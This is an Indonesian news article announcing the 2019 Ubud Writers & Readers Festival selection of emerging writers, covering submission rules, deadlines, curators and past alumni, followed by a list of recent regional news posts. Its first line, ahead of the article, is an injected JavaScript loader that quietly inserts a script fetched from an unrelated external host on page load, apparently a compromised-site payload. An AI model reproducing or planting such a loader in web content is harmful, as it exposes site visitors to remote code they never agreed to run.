(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Seleksi Penulis Emerging Indonesia UWRF 2019 Telah Dibuka!


UBUD, Senin (14/1), Yayasan Mudra Swari Saraswati, lembaga nirlaba yang menaungi Ubud Writers & Readers Festival (UWRF) mengumumkan dimulainya Seleksi Penulis Emerging Indonesia untuk UWRF 2019. Seleksi ini merupakan sebuah program Festival untuk menemukan calon bintang-bintang sastra Indonesia.

Pemilihan pemenang berdasarkan sejumlah kriteria termasuk kualitas karya, prestasi dan konsistensi dalam berkarya, serta dedikasi dalam pengembangan kesusastraan Indonesia. Seleksi yang ditujukan khusus bagi penulis berkewarganegaraan Indonesia ini memiliki persyaratan umum sebagai berikut:

  1. Karya dikirim dalam bentuk dokumen digital (Word atau PDF) yang dapat diunggah melalui http://www.ubudwritersfestival.com/formulir-seleksi-penulis-emerging-2019/
  2. Karya yang dikirim merupakan karya asli, bukan saduran, terjemahan, maupun tiruan. Panitia menggunakan piranti lunak untuk memeriksa kemungkinan karya tiruan.
  3. Karya yang dikirim merupakan karya fiksi berupa novel, cerita pendek, maupun puisi.
  4. Karya yang dikirim merupakan karya yang belum pernah diterbitkan.
  5. Karya yang dikirim mencerminkan pergulatan manusia dengan isu-isu sosial, budaya, dan lingkungan.
  6. Karya yang dikirim menunjukkan kreativitas dalam penggarapan cerita serta pelukisan karakter
  7. Peserta cukup mengirimkan satu karya saja.
  8. Panjang maksimal setiap cerita pendek adalah 3.000 kata.
  9. Panjang maksimal setiap puisi adalah 300 kata.
  10. Panitia memiliki hak untuk menerjemahkan serta menerbitkan karya-karya yang terpilih kedalam antologi tahunan festival.
  11. Penulis yang mengikuti seleksi wajib mengisi formulir online yang ada di website http://www.ubudwritersfestival.com/
  12. Batas akhir untuk pengiriman karya jatuh pada tanggal 15 Maret 2019. Nama penulis-penulis yang terpilih akan diumumkan pada akhir bulan Mei 2019.

Seluruh karya yang dikirimkan akan diseleksi oleh Dewan Kurator yang terdiri dari penulis-penulis Indonesia ternama. Nama anggota Dewan Kurator ini akan dirahasiakan hingga pengumuman para penulis yang lolos seleksi.

Para penulis emerging terpilih akan diterbangkan dari kota asal masing-masing ke Ubud, Bali untuk menghadiri UWRF 2019 yang akan diselenggarakan pada 23-27 Oktober mendatang. Para penulis emerging ini akan diundang sebagai pembicara dan berpartisipasi dalam beberapa kegiatan Festival seperti panel diskusi, pembacaan karya, workshop, peluncuran buku, dan lainnya. Karya-karya terpilih mereka juga akan diterjemahkan ke dalam bahasa Inggris dan diterbitkan dalam buku dwi bahasa Antologi 2019 yang akan diluncurkan di UWRF 2019. Peluncuran Antologi dwi bahasa karya penulis emerging terpilih ini merupakan salah satu komitmen UWRF untuk menghadirkan karya-karya anak bangsa ke hadapan dunia internasional. Seluruh biaya penerbangan dan akomodasi penulis emerging terpilih selama menghadiri UWRF 2019 akan ditanggung oleh Emerging Writers Patron, yaitu program pendanaan khusus bagi para penulis emerging terpilih.

Sejak diadakan pertama kali pada tahun 2008, Seleksi Penulis Emerging Indonesia ini telah sukses memperkenalkan penulis-penulis Indonesia ke kancah internasional. Banyak di antara para alumni Seleksi Penulis Emerging Indonesia ini yang terus konsisten berkarya dan menjadi sosok berpengaruh di dunia sastra Indonesia dan internasional. Beberapa alumni Seleksi Penulis Emerging Indonesia ini adalah Aan Mansyur (2009), Kurnia Effendi (2010), Avianti Armand (2011), Aprila R.A Wayar (2012), Bernard Batubara (2013), Faisal Oddang (2014), Norman Erikson Pasaribu (2015), Azri Zakkiyah (2016), Ibe S. Palogai (2017), dan Andre Septiawan (2018).

Emerging adalah istilah yang digunakan oleh UWRF untuk para penulis Indonesia yang memiliki karya berkualitas namun belum memperoleh publikasi yang memadai. Program Seleksi Penulis Emerging Indonesia ini adalah bagian dari komitmen Yayasan Mudra Swari Saraswati untuk mendukung kehidupan masyarakat Indonesia melalui program-program seni dan budaya. Selain itu, tujuan diselenggarakannya program ini adalah untuk menemukan bakat-bakat sastra dari pelosok Nusantara.(cel/rls)

Reporter : Cel/rls
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.